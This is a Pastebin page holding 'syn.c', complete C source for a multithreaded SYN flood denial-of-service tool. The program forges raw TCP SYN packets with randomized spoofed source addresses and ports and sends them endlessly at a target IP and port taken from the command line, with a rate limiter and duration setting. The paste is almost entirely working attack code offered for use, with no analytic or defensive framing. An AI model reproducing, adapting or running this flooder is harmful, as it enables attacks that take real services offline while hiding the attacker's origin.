daily pastebin goal
52%
SHARE
TWEET

syn.c

wtfbbq Apr 25th, 2015 873 Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. /*
  2.  * This is released under the GNU GPL License v3.0, and is allowed to be used for commercial products ;)
  3.  */
  4. #include <unistd.h>
  5. #include <time.h>
  6. #include <sys/types.h>
  7. #include <sys/socket.h>
  8. #include <sys/ioctl.h>
  9. #include <string.h>
  10. #include <stdlib.h>
  11. #include <stdio.h>
  12. #include <pthread.h>
  13. #include <netinet/tcp.h>
  14. #include <netinet/ip.h>
  15. #include <netinet/in.h>
  16. #include <netinet/if_ether.h>
  17. #include <netdb.h>
  18. #include <net/if.h>
  19. #include <arpa/inet.h>
  20. #define MAX_PACKET_SIZE 4096
  21. #define PHI 0x9e3779b9
  22. static unsigned long int Q[4096], c = 362436;
  23. static unsigned int floodport;
  24. volatile int limiter;
  25. volatile unsigned int pps;
  26. volatile unsigned int sleeptime = 100;
  27. void init_rand(unsigned long int x)
  28. {
  29.         int i;
  30.         Q[0] = x;
  31.         Q[1] = x + PHI;
  32.         Q[2] = x + PHI + PHI;
  33.         for (i = 3; i < 4096; i++){ Q[i] = Q[i - 3] ^ Q[i - 2] ^ PHI ^ i; }
  34. }
  35. unsigned long int rand_cmwc(void)
  36. {
  37.         unsigned long long int t, a = 18782LL;
  38.         static unsigned long int i = 4095;
  39.         unsigned long int x, r = 0xfffffffe;
  40.         i = (i + 1) & 4095;
  41.         t = a * Q[i] + c;
  42.         c = (t >> 32);
  43.         x = t + c;
  44.         if (x < c) {
  45.         x++;
  46.         c++;
  47.         }
  48.         return (Q[i] = r - x);
  49. }
  50. unsigned short csum (unsigned short *buf, int count)
  51. {
  52.         register unsigned long sum = 0;
  53.         while( count > 1 ) { sum += *buf++; count -= 2; }
  54.         if(count > 0) { sum += *(unsigned char *)buf; }
  55.         while (sum>>16) { sum = (sum & 0xffff) + (sum >> 16); }
  56.         return (unsigned short)(~sum);
  57. }
  58. unsigned short tcpcsum(struct iphdr *iph, struct tcphdr *tcph) {
  59.         struct tcp_pseudo
  60.         {
  61.         unsigned long src_addr;
  62.         unsigned long dst_addr;
  63.         unsigned char zero;
  64.         unsigned char proto;
  65.         unsigned short length;
  66.         } pseudohead;
  67.         unsigned short total_len = iph->tot_len;
  68.         pseudohead.src_addr=iph->saddr;
  69.         pseudohead.dst_addr=iph->daddr;
  70.         pseudohead.zero=0;
  71.         pseudohead.proto=IPPROTO_TCP;
  72.         pseudohead.length=htons(sizeof(struct tcphdr));
  73.         int totaltcp_len = sizeof(struct tcp_pseudo) + sizeof(struct tcphdr);
  74.         unsigned short *tcp = malloc(totaltcp_len);
  75.         memcpy((unsigned char *)tcp,&pseudohead,sizeof(struct tcp_pseudo));
  76.         memcpy((unsigned char *)tcp+sizeof(struct tcp_pseudo),(unsigned char *)tcph,sizeof(struct tcphdr));
  77.         unsigned short output = csum(tcp,totaltcp_len);
  78.         free(tcp);
  79.         return output;
  80. }
  81. void setup_ip_header(struct iphdr *iph)
  82. {
  83.         iph->ihl = 5;
  84.         iph->version = 4;
  85.         iph->tos = 0;
  86.         iph->tot_len = sizeof(struct iphdr) + sizeof(struct tcphdr);
  87.         iph->id = htonl(54321);
  88.         iph->frag_off = 0;
  89.         iph->ttl = MAXTTL;
  90.         iph->protocol = 6;
  91.         iph->check = 0;
  92.         iph->saddr = inet_addr("192.168.3.100");
  93. }
  94. void setup_tcp_header(struct tcphdr *tcph)
  95. {
  96.         tcph->source = htons(5678);
  97.         tcph->seq = rand();
  98.         tcph->ack_seq = 0;
  99.         tcph->res2 = 0;
  100.         tcph->doff = 5;
  101.         tcph->syn = 1;
  102.         tcph->window = htons(65535);
  103.         tcph->check = 0;
  104.         tcph->urg_ptr = 0;
  105. }
  106. void *flood(void *par1)
  107. {
  108.         char *td = (char *)par1;
  109.         char datagram[MAX_PACKET_SIZE];
  110.         struct iphdr *iph = (struct iphdr *)datagram;
  111.         struct tcphdr *tcph = (void *)iph + sizeof(struct iphdr);
  112.         struct sockaddr_in sin;
  113.         sin.sin_family = AF_INET;
  114.         sin.sin_port = htons(floodport);
  115.         sin.sin_addr.s_addr = inet_addr(td);
  116.         int s = socket(PF_INET, SOCK_RAW, IPPROTO_TCP);
  117.         if(s < 0){
  118.         fprintf(stderr, "Could not open raw socket.\n");
  119.         exit(-1);
  120.         }
  121.         memset(datagram, 0, MAX_PACKET_SIZE);
  122.         setup_ip_header(iph);
  123.         setup_tcp_header(tcph);
  124.         tcph->dest = htons(floodport);
  125.         iph->daddr = sin.sin_addr.s_addr;
  126.         iph->check = csum ((unsigned short *) datagram, iph->tot_len);
  127.         int tmp = 1;
  128.         const int *val = &tmp;
  129.         if(setsockopt(s, IPPROTO_IP, IP_HDRINCL, val, sizeof (tmp)) < 0){
  130.         fprintf(stderr, "Error: setsockopt() - Cannot set HDRINCL!\n");
  131.         exit(-1);
  132.         }
  133.         init_rand(time(NULL));
  134.         register unsigned int i;
  135.         i = 0;
  136.         while(1){
  137.         sendto(s, datagram, iph->tot_len, 0, (struct sockaddr *) &sin, sizeof(sin));
  138.         iph->saddr = (rand_cmwc() >> 24 & 0xFF) << 24 | (rand_cmwc() >> 16 & 0xFF) << 16 | (rand_cmwc() >> 8 & 0xFF) << 8 | (rand_cmwc() & 0xFF);
  139.         iph->id = htonl(rand_cmwc() & 0xFFFFFFFF);
  140.         iph->check = csum ((unsigned short *) datagram, iph->tot_len);
  141.         tcph->seq = rand_cmwc() & 0xFFFF;
  142.         tcph->source = htons(rand_cmwc() & 0xFFFF);
  143.         tcph->check = 0;
  144.         tcph->check = tcpcsum(iph, tcph);
  145.         pps++;
  146.         if(i >= limiter)
  147.         {
  148.         i = 0;
  149.         usleep(sleeptime);
  150.         }
  151.         i++;
  152.         }
  153. }
  154. int main(int argc, char *argv[ ])
  155. {
  156.         if(argc < 6){
  157.         fprintf(stderr, "Invalid parameters!\n");
  158.         fprintf(stdout, "Usage: %s <target IP> <port to be flooded> <number threads to use> <pps limiter, -1 for no limit> <time>\n", argv[0]);
  159.         exit(-1);
  160.         }
  161.         fprintf(stdout, "Setting up Sockets...\n");
  162.         int num_threads = atoi(argv[3]);
  163.         floodport = atoi(argv[2]);
  164.         int maxpps = atoi(argv[4]);
  165.         limiter = 0;
  166.         pps = 0;
  167.         pthread_t thread[num_threads];
  168.         int multiplier = 20;
  169.         int i;
  170.         for(i = 0;i<num_threads;i++){
  171.         pthread_create( &thread[i], NULL, &flood, (void *)argv[1]);
  172.         }
  173.         fprintf(stdout, "Starting Flood...\n");
  174.         for(i = 0;i<(atoi(argv[5])*multiplier);i++)
  175.         {
  176.         usleep((1000/multiplier)*1000);
  177.         if((pps*multiplier) > maxpps)
  178.         {
  179.         if(1 > limiter)
  180.         {
  181.         sleeptime+=100;
  182.         } else {
  183.         limiter--;
  184.         }
  185.         } else {
  186.         limiter++;
  187.         if(sleeptime > 25)
  188.         {
  189.         sleeptime-=25;
  190.         } else {
  191.         sleeptime = 0;
  192.         }
  193.         }
  194.         pps = 0;
  195.         }
  196.         return 0;
  197. }
RAW Paste Data
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy. OK, I Understand
 
Top